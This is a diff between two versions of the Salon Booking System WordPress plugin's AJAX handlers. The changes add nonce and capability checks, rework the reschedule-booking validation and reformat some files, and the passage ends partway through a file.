\u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRememberTab.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,14 +1,17 @@\n \u003C?php\n-\u002F\u002F phpcs:ignoreFile WordPress.Security.NonceVerification.Missing\n \n class SLN_Action_Ajax_RememberTab extends SLN_Action_Ajax_Abstract\n {\n     public function execute()\n     {\n-        $tab = wp_unslash($_POST['tab']) ?? 'services';\n+        if ( ! isset( $_POST['security'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['security'] ) ), 'ajax_post_validation' ) ) {\n+            return array();\n+        }\n+\n+        $tab = sanitize_text_field( wp_unslash( isset( $_POST['tab'] ) ? $_POST['tab'] : 'services' ) );\n \n         $_SESSION['currentTab'] = $tab;\n \n-        return [];\n+        return array();\n     }\n }\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRemoveNotice.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRemoveNotice.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRemoveNotice.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRemoveNotice.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,17 +1,23 @@\n \u003C?php \u002F\u002F algolplus\n-\u002F\u002F phpcs:ignoreFile WordPress.Security.NonceVerification.Recommended\n \n class SLN_Action_Ajax_RemoveNotice extends SLN_Action_Ajax_Abstract\n {\n \tpublic function execute()\n \t{\n+\t\tif ( ! current_user_can( 'manage_salon' ) ) {\n+\t\t\treturn array( 'success' => false );\n+\t\t}\n+\n+\t\tif ( ! isset( $_POST['security'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['security'] ) ), 'ajax_post_validation' ) ) {\n+\t\t\treturn array( 'success' => false );\n+\t\t}\n+\n         try {\n-            setcookie(\"remove_notice\", \"true\", time() + (30 * 24 * 60 * 60), \"\u002F\");\n+            setcookie( 'remove_notice', 'true', time() + ( 30 * 24 * 60 * 60 ), '\u002F' );\n             return 'true';\n-        } catch(Exception $e) {\n+        } catch ( Exception $e ) {\n             $errors[] = $e->getMessage();\n-            return compact('errors');\n+            return compact( 'errors' );\n         }\n-\n     }\n }\n\\ No newline at end of file\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRescheduleBookingCheckDate.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRescheduleBookingCheckDate.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRescheduleBookingCheckDate.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRescheduleBookingCheckDate.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -2,61 +2,184 @@\n \u002F\u002F phpcs:ignoreFile WordPress.Security.NonceVerification.Missing\n \n class SLN_Action_Ajax_RescheduleBookingCheckDate extends SLN_Action_Ajax_Abstract {\n-\tpublic function execute() {\n-\t\t$handler = new SLN_Action_Ajax_CheckDateAlt( $this->plugin );\n-\n-\t\t$date = isset($_POST['_sln_booking_date']) ? sanitize_text_field( wp_unslash( $_POST['_sln_booking_date'] ) ) : '';\n-\t\t$time = isset($_POST['_sln_booking_time']) ? sanitize_text_field( wp_unslash( $_POST['_sln_booking_time'] ) ) : '';\n-\n-\t\t\u002F\u002F Validate date is not empty\n-\t\tif (empty($date)) {\n-\t\t\tthrow new Exception('Missing date in rescheduling request. Please select a date.');\n+\t\u002F**\n+\t * Shared validation for My Account reschedule: same rules as AJAX check-date (assistants, salon hours, etc.).\n+\t *\n+\t * @param SLN_Plugin $plugin            Plugin instance.\n+\t * @param int        $bookingId         Booking post ID.\n+\t * @param string     $dateRaw           Raw date from request.\n+\t * @param string     $timeRaw           Raw time from request.\n+\t * @param array      $services          Map service_id => attendant_id (from form); empty = load from booking.\n+\t * @param string     $customerTimezone  Optional IANA timezone when customer-timezone slots are enabled.\n+\t * @return array{ errors: string[], handler: SLN_Action_Ajax_CheckDateAlt, date: string, time: string, timezone: string }\n+\t *\u002F\n+\tpublic static function runRescheduleValidation( SLN_Plugin $plugin, $bookingId, $dateRaw, $timeRaw, array $formServices, $customerTimezone = '' ) {\n+\t\t$timezone = $customerTimezone ? sanitize_text_field( wp_unslash( $customerTimezone ) ) : '';\n+\n+\t\t$booking = $plugin->createBooking( $bookingId );\n+\n+\t\t\u002F\u002F Set the correct shop (location) context from the booking's own meta BEFORE any\n+\t\t\u002F\u002F availability check runs.  This is the root cause of the recurring reschedule bypass:\n+\t\t\u002F\u002F the AJAX handler runs in a request where no $_GET['shop'] or POST shop param is present,\n+\t\t\u002F\u002F so SalonMultishop's handleCurrentShop() never sets a current shop.  Without a shop\n+\t\t\u002F\u002F context the buildAttendant filter returns a plain SLN_Wrapper_Attendant, and shop-level\n+\t\t\u002F\u002F availability overrides (e.g. \"Gaia works only Wed-Thu at Basingstoke\") are invisible to\n+\t\t\u002F\u002F the validator — every day appears valid.  Pinning the shop from the booking record\n+\t\t\u002F\u002F guarantees both checkDateTime() and the safety check below operate on the correct rules.\n+\t\tif ( class_exists( '\\SalonMultishop\\Addon' ) && $booking ) {\n+\t\t\t$shopId = $booking->getMeta( 'shop' );\n+\t\t\tif ( $shopId ) {\n+\t\t\t\t\\SalonMultishop\\Addon::getInstance()->setCurrentShop( $shopId );\n+\t\t\t\tSLN_Plugin::addLog( sprintf(\n+\t\t\t\t\t'[RESCHEDULE_VALIDATION] SalonMultishop shop context set to shop #%s for booking #%d',\n+\t\t\t\t\t$shopId,\n+\t\t\t\t\t$bookingId\n+\t\t\t\t) );\n+\t\t\t}\n \t\t}\n \n-\t\t$timezone = isset($_POST['customer_timezone']) ? sanitize_text_field( wp_unslash( $_POST['customer_timezone'] ) ) : '';\n+\t\t\u002F\u002F Use Booking::getAttendantsIds() as the authoritative source of service→attendant mappings.\n+\t\t\u002F\u002F ShopAttendant::getId() delegates to the base attendant's post ID, so the raw\n+\t\t\u002F\u002F _sln_booking_services meta always holds base IDs regardless of evalBookingServices().\n+\t\t$services = array();\n+\t\tif ( $booking ) {\n+\t\t\t$services = $booking->getAttendantsIds();\n+\t\t}\n+\t\tif ( empty( $services ) ) {\n+\t\t\t\u002F\u002F All services use auto-assign (attendant 0) or booking not found: fall back to\n+\t\t\t\u002F\u002F form-submitted values, then to the raw services_meta of the booking itself.\n+\t\t\t$services = ! empty( $formServices )\n+\t\t\t\t? $formServices\n+\t\t\t\t: self::getServicesAttendantsFromBooking( $booking );\n+\t\t}\n \n-                if ($this->plugin->getSettings()->isDisplaySlotsCustomerTimezone() && $timezone) {\n-                    $date = SLN_Func::filter( sanitize_text_field( wp_unslash( $_POST['_sln_booking_date'] ) ), 'date' );\n-                    $time = SLN_Func::filter( sanitize_text_field( wp_unslash( $_POST['_sln_booking_time'] ) ), 'time' );\n-                    $dateTime = (new SLN_DateTime($date . ' ' . $time, SLN_Func::createDateTimeZone($timezone)))->setTimezone(SLN_DateTime::getWpTimezone());\n-                    $date = $this->plugin->format()->date($dateTime);\n-                    $time = $this->plugin->format()->time($dateTime);\n-                }\n+\t\tSLN_Plugin::addLog( sprintf(\n+\t\t\t'[RESCHEDULE_VALIDATION] bookingId=%d dateRaw=%s timeRaw=%s bookingAttendants=%s formServices=%s',\n+\t\t\t$bookingId,\n+\t\t\t$dateRaw,\n+\t\t\t$timeRaw,\n+\t\t\twp_json_encode( $services ),\n+\t\t\twp_json_encode( $formServices )\n+\t\t) );\n \n-\t\t$services = $_POST['_sln_booking']['services'] ?? array();\n+\t\t$bb = $plugin->getBookingBuilder();\n+\t\t$bb->clear();\n \n-\t\t$handler->setDate( $date );\n-\t\t$handler->setTime( $time );\n+\t\t$date = SLN_Func::filter( sanitize_text_field( wp_unslash( $dateRaw ) ), 'date' );\n+\t\t$time = SLN_Func::filter( sanitize_text_field( wp_unslash( $timeRaw ) ), 'time' );\n \n-\t\t$bookingID = $_POST['_sln_booking_id'];\n+\t\tif ( $plugin->getSettings()->isDisplaySlotsCustomerTimezone() && $timezone ) {\n+\t\t\t$dateTime = ( new SLN_DateTime( $date . ' ' . $time, SLN_Func::createDateTimeZone( $timezone ) ) )->setTimezone( SLN_DateTime::getWpTimezone() );\n+\t\t\t$date     = $dateTime->format( 'Y-m-d' );\n+\t\t\t$time     = $dateTime->format( 'H:i' );\n+\t\t}\n \n-\t\t$booking = SLN_Plugin::getInstance()->createBooking( $bookingID );\n+\t\t$bb->setDate( $date );\n+\t\t$bb->setTime( $time );\n+\t\t$bb->setServicesAndAttendants( $services );\n+\t\t$bb->save();\n \n+\t\t$handler = new SLN_Action_Ajax_CheckDateAlt( $plugin );\n+\t\t$handler->setDate( $date );\n+\t\t$handler->setTime( $time );\n \t\t$handler->setBooking( $booking );\n \n-\t\t$bb = $this->plugin->getBookingBuilder();\n+\t\t$handler->checkDateTime();\n+\t\t$errors = $handler->getErrors();\n \n-\t\t$bb->clear();\n+\t\tSLN_Plugin::addLog( sprintf(\n+\t\t\t'[RESCHEDULE_VALIDATION] checkDateTime result: errors=%s',\n+\t\t\twp_json_encode( is_array( $errors ) ? $errors : array() )\n+\t\t) );\n+\n+\t\t\u002F\u002F --- Direct safety check ---\n+\t\t\u002F\u002F Runs even when checkDateTime() passes (defence in depth).\n+\t\t\u002F\u002F We start from a plain SLN_Wrapper_Attendant (base post ID) then pass it through\n+\t\t\u002F\u002F the same buildAttendant filter pipeline that checkDateTime() uses.  Now that the\n+\t\t\u002F\u002F correct shop context has been set above, the filter returns a ShopAttendant wrapper\n+\t\t\u002F\u002F that applies shop-specific availability overrides (e.g. \"Gaia works only Wed-Thu at\n+\t\t\u002F\u002F Basingstoke\") rather than falling back to the base attendant's generic rules.\n+\t\tif ( empty( $errors ) ) {\n+\t\t\t$newDateTime = new SLN_DateTime( $date . ' ' . $time );\n+\t\t\tforeach ( $services as $serviceId => $attendantId ) {\n+\t\t\t\t$attendantId = is_array( $attendantId ) ? 0 : intval( $attendantId );\n+\t\t\t\tif ( $attendantId \u003C= 0 ) {\n+\t\t\t\t\tcontinue;\n+\t\t\t\t}\n+\t\t\t\t$baseAttendant = new SLN_Wrapper_Attendant( $attendantId );\n+\t\t\t\tif ( $baseAttendant->isEmpty() ) {\n+\t\t\t\t\tcontinue;\n+\t\t\t\t}\n+\t\t\t\t\u002F\u002F Apply the same buildAttendant filter as checkDateTime() so ShopAttendant\n+\t\t\t\t\u002F\u002F (with shop-specific availability) is used when SalonMultishop is active.\n+\t\t\t\t$attendantToCheck = apply_filters( 'sln.booking_services.buildAttendant', $baseAttendant );\n+\t\t\t\tSLN_Plugin::addLog( sprintf(\n+\t\t\t\t\t'[RESCHEDULE_VALIDATION] Direct attendant check: #%d (%s) at %s (class=%s)',\n+\t\t\t\t\t$attendantId,\n+\t\t\t\t\t$baseAttendant->getName(),\n+\t\t\t\t\t$newDateTime->format( 'Y-m-d H:i' ),\n+\t\t\t\t\tget_class( $attendantToCheck )\n+\t\t\t\t) );\n+\t\t\t\tif ( $attendantToCheck->isNotAvailableOnDate( $newDateTime ) ) {\n+\t\t\t\t\t$errors = SLN_Helper_Availability_ErrorHelper::doAttendantNotAvailable( $attendantToCheck, $newDateTime );\n+\t\t\t\t\tSLN_Plugin::addLog( '[RESCHEDULE_VALIDATION] Direct check: attendant unavailable — blocking reschedule.' );\n+\t\t\t\t\tbreak;\n+\t\t\t\t}\n+\t\t\t}\n+\t\t}\n \n-\t\t$date = SLN_Func::filter( sanitize_text_field( wp_unslash( $_POST['_sln_booking_date'] ) ), 'date' );\n-\t\t$time = SLN_Func::filter( sanitize_text_field( wp_unslash( $_POST['_sln_booking_time'] ) ), 'time' );\n+\t\t\u002F\u002F NOTE: The BookingBuilder is intentionally NOT cleared here.\n+\t\t\u002F\u002F The caller's getIntervalsArray() call needs the attendant context we just configured\n+\t\t\u002F\u002F so it returns dates\u002Ftimes that are actually valid for this attendant (not just the salon).\n+\t\t\u002F\u002F The caller is responsible for clearing the BB after getIntervalsArray().\n+\n+\t\treturn array(\n+\t\t\t'errors'    => is_array( $errors ) ? $errors : array(),\n+\t\t\t'handler'   => $handler,\n+\t\t\t'date'      => $date,\n+\t\t\t'time'      => $time,\n+\t\t\t'timezone'  => $timezone,\n+\t\t);\n+\t}\n \n-                if ($this->plugin->getSettings()->isDisplaySlotsCustomerTimezone() && $timezone) {\n-                    $dateTime = (new SLN_DateTime($date . ' ' . $time, SLN_Func::createDateTimeZone($timezone)))->setTimezone(SLN_DateTime::getWpTimezone());\n-                    $date = $dateTime->format('Y-m-d');\n-                    $time = $dateTime->format('H:i');\n-                }\n+\t\u002F**\n+\t * @param SLN_Wrapper_Booking $booking Booking object.\n+\t * @return array\u003Cint, int|array>\n+\t *\u002F\n+\tprivate static function getServicesAttendantsFromBooking( SLN_Wrapper_Booking $booking ) {\n+\t\t$services = array();\n+\t\tforeach ( $booking->getBookingServices()->getItems() as $bookingService ) {\n+\t\t\t$serviceId = $bookingService->getService()->getId();\n+\t\t\tif ( $bookingService->getAttendant() ) {\n+\t\t\t\tif ( is_array( $bookingService->getAttendant() ) ) {\n+\t\t\t\t\t$services[ $serviceId ] = SLN_Wrapper_Attendant::getArrayAttendantsValue( 'getId', $bookingService->getAttendant() );\n+\t\t\t\t} else {\n+\t\t\t\t\t$services[ $serviceId ] = $bookingService->getAttendant()->getId();\n+\t\t\t\t}\n+\t\t\t} else {\n+\t\t\t\t$services[ $serviceId ] = 0;\n+\t\t\t}\n+\t\t}\n+\t\treturn $services;\n+\t}\n \n-\t\t$bb->setDate( $date );\n-\t\t$bb->setTime( $time );\n+\tpublic function execute() {\n+\t\t$date = isset( $_POST['_sln_booking_date'] ) ? sanitize_text_field( wp_unslash( $_POST['_sln_booking_date'] ) ) : '';\n+\t\t$time = isset( $_POST['_sln_booking_time'] ) ? sanitize_text_field( wp_unslash( $_POST['_sln_booking_time'] ) ) : '';\n \n-\t\t$bb->setServicesAndAttendants( $services );\n+\t\t\u002F\u002F Validate date is not empty\n+\t\tif ( empty( $date ) ) {\n+\t\t\tthrow new Exception( 'Missing date in rescheduling request. Please select a date.' );\n+\t\t}\n \n-\t\t$bb->save();\n+\t\t$timezone = isset( $_POST['customer_timezone'] ) ? sanitize_text_field( wp_unslash( $_POST['customer_timezone'] ) ) : '';\n+\t\t$services = isset( $_POST['_sln_booking']['services'] ) && is_array( $_POST['_sln_booking']['services'] ) ? $_POST['_sln_booking']['services'] : array();\n+\t\t$bookingID = isset( $_POST['_sln_booking_id'] ) ? intval( $_POST['_sln_booking_id'] ) : 0;\n \n-\t\t$handler->checkDateTime();\n+\t\t$r = self::runRescheduleValidation( $this->plugin, $bookingID, $date, $time, $services, $timezone );\n \n-\t\t$errors = $handler->getErrors();\n+\t\t$errors  = $r['errors'];\n+\t\t$handler = $r['handler'];\n \n \t\tif ( $errors ) {\n \t\t\t$ret = compact( 'errors' );\n@@ -64,10 +187,13 @@\n \t\t\t$ret = array( 'success' => 1 );\n \t\t}\n \n-\t\t$ret['intervals'] = $handler->getIntervalsArray($this->plugin->getSettings()->isDisplaySlotsCustomerTimezone() ? $timezone : '');\n-        $ret['booking_id'] = $bookingID;\n+\t\t\u002F\u002F BB still has attendant context from runRescheduleValidation — getIntervalsArray()\n+\t\t\u002F\u002F will use it to filter available dates\u002Ftimes to only those valid for this attendant.\n+\t\t$ret['intervals']  = $handler->getIntervalsArray( $this->plugin->getSettings()->isDisplaySlotsCustomerTimezone() ? $timezone : '' );\n+\t\t$ret['booking_id'] = $bookingID;\n \n-\t\t$bb->clear();\n+\t\t\u002F\u002F Now that intervals are built, release the BB so it does not leak into later logic.\n+\t\t$this->plugin->getBookingBuilder()->clear();\n \n \t\treturn $ret;\n \t}\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRescheduleBooking.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRescheduleBooking.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRescheduleBooking.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRescheduleBooking.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -40,24 +40,52 @@\n \t\t\t);\n \t\t}\n \n-\t\t$date = SLN_Func::filter( sanitize_text_field( wp_unslash( $_POST['_sln_booking_date'] ) ), 'date' );\n-\t\t$time = SLN_Func::filter( sanitize_text_field( wp_unslash( $_POST['_sln_booking_time'] ) ), 'time' );\n+\t\t$curr_booking_date = get_post_meta( $id, '_' . SLN_Plugin::POST_TYPE_BOOKING . '_date', true ) . ' ' . get_post_meta( $id, '_' . SLN_Plugin::POST_TYPE_BOOKING . '_time', true );\n+\t\t$curr_booking_date = new DateTime( $curr_booking_date );\n+\t\t$curr_booking_date->modify( $this->plugin->getSettings()->get( 'days_before_rescheduling' ) . ' days' );\n+\t\tif ( $curr_booking_date->getTimestamp() - time() \u003C 0 ) {\n+\t\t\treturn wp_die(\n+\t\t\t\t'\u003Cp>' . esc_html__( 'Sory, you not allowed reshedule old booking.' ) . '\u003C\u002Fp>',\n+\t\t\t\t403\n+\t\t\t);\n+\t\t}\n+\n+\t\t$services          = isset( $_POST['_sln_booking']['services'] ) && is_array( $_POST['_sln_booking']['services'] ) ? $_POST['_sln_booking']['services'] : array();\n+\t\t$customer_timezone = isset( $_POST['customer_timezone'] ) ? sanitize_text_field( wp_unslash( $_POST['customer_timezone'] ) ) : '';\n+\n+\t\t$validation = SLN_Action_Ajax_RescheduleBookingCheckDate::runRescheduleValidation(\n+\t\t\t$this->plugin,\n+\t\t\t$id,\n+\t\t\tisset( $_POST['_sln_booking_date'] ) ? wp_unslash( $_POST['_sln_booking_date'] ) : '',\n+\t\t\tisset( $_POST['_sln_booking_time'] ) ? wp_unslash( $_POST['_sln_booking_time'] ) : '',\n+\t\t\t$services,\n+\t\t\t$customer_timezone\n+\t\t);\n+\n+\t\t\u002F\u002F runRescheduleValidation leaves the BB set up; clear it now — the save path does not\n+\t\t\u002F\u002F need the BB and we do not want stale data leaking into post-save hooks.\n+\t\t$this->plugin->getBookingBuilder()->clear();\n+\n+\t\tif ( ! empty( $validation['errors'] ) ) {\n+\t\t\treturn array(\n+\t\t\t\t'success' => false,\n+\t\t\t\t'errors'  => $validation['errors'],\n+\t\t\t);\n+\t\t}\n+\n+\t\t\u002F\u002F Persist using the same normalized date\u002Ftime as validation (handles customer timezone).\n+\t\t$date = $validation['date'];\n+\t\t$time = $validation['time'];\n+\n+\t\tif ( SLN_Plugin::getInstance()->getSettings()->get( 'confirmation' ) ) {\n+\t\t\twp_update_post(\n+\t\t\t\tarray(\n+\t\t\t\t\t'ID'          => $id,\n+\t\t\t\t\t'post_status' => SLN_Enum_BookingStatus::PENDING,\n+\t\t\t\t)\n+\t\t\t);\n+\t\t}\n \n-        if (SLN_Plugin::getInstance()->getSettings()->get('confirmation')) {\n-            wp_update_post(array(\n-                    'ID' => $id,\n-                    'post_status' => SLN_Enum_BookingStatus::PENDING,\n-            ));\n-        }\n-        $curr_booking_date = get_post_meta($id, '_'. SLN_Plugin::POST_TYPE_BOOKING .'_date', true) . ' '. get_post_meta($id, '_'. SLN_Plugin::POST_TYPE_BOOKING. '_time', true);\n-        $curr_booking_date = new DateTime($curr_booking_date);\n-        $curr_booking_date->modify($this->plugin->getSettings()->get('days_before_rescheduling'). ' days');\n-        if($curr_booking_date->getTimestamp() - time() \u003C 0){\n-        \treturn wp_die(\n-        \t\t'\u003Cp>' . esc_html__('Sory, you not allowed reshedule old booking.'). '\u003C\u002Fp>',\n-        \t\t403\n-        \t);\n-        }\n \t\tupdate_post_meta( $id, '_' . SLN_Plugin::POST_TYPE_BOOKING . '_date', $date );\n \t\tupdate_post_meta( $id, '_' . SLN_Plugin::POST_TYPE_BOOKING . '_time', $time );\n \n@@ -72,11 +100,12 @@\n \t\t( new SLN_Service_Messages( $plugin ) )->sendRescheduledMail( $booking );\n \n \t\treturn array(\n-\t\t\t'booking_date' => $format->date( $booking->getStartsAt() ),\n-\t\t\t'booking_time' => $format->time( $booking->getStartsAt() ),\n-\t\t\t'booking_status' => $booking->getStatus(),\n-\t\t\t'booking_status_label' => SLN_Enum_BookingStatus::getLabel($booking->getStatus()),\n-            'booking_id' => $booking->getId(),\n+\t\t\t'success'              => true,\n+\t\t\t'booking_date'         => $format->date( $booking->getStartsAt() ),\n+\t\t\t'booking_time'         => $format->time( $booking->getStartsAt() ),\n+\t\t\t'booking_status'       => $booking->getStatus(),\n+\t\t\t'booking_status_label' => SLN_Enum_BookingStatus::getLabel( $booking->getStatus() ),\n+\t\t\t'booking_id'           => $booking->getId(),\n \t\t);\n \t}\n }\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FResendNotification.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FResendNotification.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FResendNotification.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FResendNotification.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,27 +1,27 @@\n-\u003C?php\r\n-\u002F\u002F phpcs:ignoreFile WordPress.WP.I18n.TextDomainMismatch\r\n-\r\n-class SLN_Action_Ajax_ResendNotification extends SLN_Action_Ajax_Abstract\r\n-{\r\n-    public function execute()\r\n-    {\r\n-       if(!current_user_can( 'manage_salon' )) throw new Exception('not allowed');\r\n-        $booking = new SLN_Wrapper_Booking(intval($_POST['post_id']));\r\n-        $mail =  sanitize_email(wp_unslash($_POST['emailto']));\r\n-        if(isset($mail)){\r\n-            $p = $this->plugin;\r\n-\r\n-            $args                    = compact('booking');\r\n-            $args['to']              = $mail;\r\n-            $args['updated']         = true;\r\n-            $args['updated_message'] = sanitize_text_field(wp_unslash($_POST['message']));\r\n-            $p->sendMail('mail\u002Fsummary', $args);\r\n-\r\n-            return array('success' => __('E-mail sent', 'salon-booking-system'));\r\n-        }else{\r\n-            return array('error' => __('Please specify an email', 'salon-booking-system'));\r\n-        }\r\n- \r\n-       return $ret;\r\n-    }\r\n-}\r\n+\u003C?php\n+\u002F\u002F phpcs:ignoreFile WordPress.WP.I18n.TextDomainMismatch\n+\n+class SLN_Action_Ajax_ResendNotification extends SLN_Action_Ajax_Abstract\n+{\n+    public function execute()\n+    {\n+       if(!current_user_can( 'manage_salon' )) throw new Exception('not allowed');\n+        $booking = new SLN_Wrapper_Booking(intval($_POST['post_id']));\n+        $mail =  sanitize_email(wp_unslash($_POST['emailto']));\n+        if(isset($mail)){\n+            $p = $this->plugin;\n+\n+            $args                    = compact('booking');\n+            $args['to']              = $mail;\n+            $args['updated']         = true;\n+            $args['updated_message'] = sanitize_text_field(wp_unslash($_POST['message']));\n+            $p->sendMail('mail\u002Fsummary', $args);\n+\n+            return array('success' => __('E-mail sent', 'salon-booking-system'));\n+        }else{\n+            return array('error' => __('Please specify an email', 'salon-booking-system'));\n+        }\n+ \n+       return $ret;\n+    }\n+}\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSearchAssistantStaffMember.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSearchAssistantStaffMember.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSearchAssistantStaffMember.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSearchAssistantStaffMember.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,94 +1,94 @@\n-\u003C?php\r\n-\u002F\u002F phpcs:ignoreFile WordPress.WP.I18n.TextDomainMismatch\r\n-\r\n-class SLN_Action_Ajax_SearchAssistantStaffMember extends SLN_Action_Ajax_Abstract\r\n-{\r\n-    public function execute()\r\n-    {\r\n-       if(!current_user_can( 'manage_salon' )) throw new Exception('not allowed');\r\n-       $result = array();\r\n-       $search = sanitize_text_field(wp_unslash( isset($_GET['s']) ? $_GET['s'] : '' ));\r\n-       if(isset($search)){\r\n-           $result = $this->getResult($search);\r\n-\r\n-       $emails = array_map(function ($item) {\r\n-        return $item['id'];\r\n-\r\n-           }, $result);\r\n-\r\n-\r\n-           if (!empty($search) && !in_array($search, $emails)) {\r\n-\r\n-        $result = array_merge(array(array(\r\n-\r\n-            'id' => $search,\r\n-\r\n-            'text' => $search,\r\n-\r\n-            'staff_member_id' => 0,\r\n-\r\n-        )), $result);\r\n-\r\n-        }\r\n-       }\r\n-       if(!$result){\r\n-           $ret = array(\r\n-               'success' => 0,\r\n-               'errors' => array(__('User not found','salon-booking-system'))\r\n-           );\r\n-       }else{\r\n-           $ret = array(\r\n-               'success' => 1,\r\n-               'result' => $result,\r\n-           );\r\n-       }\r\n-       return $ret;\r\n-    }\r\n-    private function getResult($search)\r\n-    {\r\n-        $include = $this->userSearch($search);\r\n-\r\n-    if ( empty( $include ) ) {\r\n-        return array();\r\n-    }\r\n-\r\n-        $number     = -1;\r\n-    $user_query = new WP_User_Query( compact('include', 'number') );\r\n-\r\n-        if(!$user_query->results) return array();\r\n-        else $results = $user_query->results;\r\n-\r\n-        $value = array();\r\n-\r\n-    foreach($results as $u){\r\n-        $values[] = array(\r\n-                'id' => $u->user_email,\r\n-                'text' => $u->user_email,\r\n-                'staff_member_id' => $u->ID,\r\n-            );\r\n-        }\r\n-        return $values;\r\n-    }\r\n-\r\n-    public function userSearch($wp_user_query) {\r\n-            global $wpdb;\r\n-\r\n-            $uids=array();\r\n-            if(isset($wp_user_query)){\r\n-            $users_ids_collector = $wpdb->get_results(\r\n-        $wpdb->prepare(\r\n-            \"SELECT DISTINCT ID FROM $wpdb->users u INNER JOIN $wpdb->usermeta um ON u.ID = um.user_id WHERE LOWER(u.user_email) LIKE %s AND meta_key='{$wpdb->prefix}capabilities' AND ( meta_value LIKE %s  OR  meta_value LIKE %s)\",\r\n-            '%' . $wp_user_query . '%',\r\n-            '%' . SLN_Plugin::USER_ROLE_STAFF . '%',\r\n-            '%' . SLN_Plugin::USER_ROLE_WORKER . '%'\r\n-        )\r\n-        );\r\n-            foreach($users_ids_collector as $maf) {\r\n-                if(!in_array($maf->ID,$uids)) {\r\n-                    array_push($uids,$maf->ID);\r\n-                }\r\n-            }\r\n-        }\r\n-        return $uids;\r\n-    }\r\n-}\r\n+\u003C?php\n+\u002F\u002F phpcs:ignoreFile WordPress.WP.I18n.TextDomainMismatch\n+\n+class SLN_Action_Ajax_SearchAssistantStaffMember extends SLN_Action_Ajax_Abstract\n+{\n+    public function execute()\n+    {\n+       if(!current_user_can( 'manage_salon' )) throw new Exception('not allowed');\n+       $result = array();\n+       $search = sanitize_text_field(wp_unslash( isset($_GET['s']) ? $_GET['s'] : '' ));\n+       if(isset($search)){\n+           $result = 